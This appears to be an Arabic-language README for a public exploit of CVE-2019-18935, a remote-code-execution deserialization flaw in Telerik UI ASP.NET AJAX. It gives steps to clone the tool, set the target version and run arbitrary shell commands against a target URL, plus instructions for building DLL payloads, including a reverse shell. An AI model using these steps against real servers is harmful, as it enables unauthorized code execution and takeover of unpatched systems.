CVE-2019-18935 استغلال

استغلال تنفيذ الأكواد عن بُعد لتطبيق Telerik UI ASP.NET AJAX من خلال ثغرة إلغاء التسلسل.

كيفية التشغيل

الخطوة 1: استنساخ المشروع

git clone https://github.com/menashe12346/CVE-2019-18935.git
cd CVE-2019-18935

الخطوة 2: في `CVE-2019-18935.py`، عدّل السطر 15:

version = "2017.1.228"  # Replace with target server's Telerik version

الخطوة 3: تشغيل الاستغلال

python CVE-2019-18935.py <target_url> <shell_command>
# Example:
python CVE-2019-18935.py http://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau "whoami"

🔧 بناء ملفات DLL مخصصة

لإنشاء ملف DLL من ملف C مختلف (وليس مجرد شل عكسي):

قم بتثبيت Visual Studio (تطوير سطح المكتب باستخدام c++) مع هذه المكوّنات:

MSVC v143 - VS 2022 C++ x64/x86 build tools
Windows 11 SDK
C++ CMake tools for Windows
C++ AddressSanitizer

قم ببناء ملف DLL:

build-dll.bat your_file.c

سيتم إنشاء ملف DLL في مجلد payloads/.

📋 وصف الملفات

CVE-2019-18935_exploit/
├── CVE-2019-18935.py        # Main exploit code
├── RAU_crypto.py            # Telerik encryption/decryption module
├── build-dll.bat            # Script to build DLL files from C code
├── reverse_shell.c          # C source code for reverse shell
└── payloads/                # Directory for Compiled DLL payload files

CVE-2019-18935

الأكثر شعبية

CVE-2019-18935 استغلال

كيفية التشغيل

الخطوة 1: استنساخ المشروع

الخطوة 2: في CVE-2019-18935.py، عدّل السطر 15:

الخطوة 3: تشغيل الاستغلال

الخطوة 2: في `CVE-2019-18935.py`، عدّل السطر 15: